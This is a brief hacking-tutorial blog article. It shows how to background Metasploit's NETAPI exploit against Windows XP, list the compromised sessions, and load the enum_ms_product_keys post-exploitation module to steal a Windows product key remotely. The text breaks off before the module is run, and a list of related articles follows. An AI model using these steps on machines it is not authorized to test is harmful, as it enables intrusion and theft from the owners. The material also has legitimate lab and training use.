As discussed previously, we had successfully exploited a windows machine with Metasploit Framework and created an administrator user in targeted machine. Now in this article, we’ll another exploit which steals the Windows Product Key remotely.
Read Here: How to Hack Windows Machine with Metasploit Framework
For this methods, run the “NETAPI Exploit” (specially for Windows XP) in background mode by typing “exploit -j” command.
To view all hacked sessions, type “sessions” in same console.
Now we’ll use another exploit which steals the Microsoft Windows Product Key and for this, type “use post/windows/gather/enum_ms_product_keys” in same terminal.
Set the ID value of session which we hacked by typing “set session <ID>”
You may also like:- Most Common DNS Record Types and Their Roles
- Top Skills Needed to Become a Cybersecurity Analyst
- Mastering Windows Management with WMIC Commands – Top 20 Examples
- Edit and Compile Code with the Best 5 Code Editors
- 50+ Top DevSecOps Tools You Need To Know
- Learn How to Add Proxy and Multiple Accounts in MoreLogin
- Some Useful PowerShell Cmdlets
- Create Free SSL Certificate – ZEROSSL.COM [2020 Tutorial]
- Generate Self-Signed SSL Certificate with OPENSSL in Kali Linux
- RDP – CredSSP Encryption Oracle Remediation Solution 2020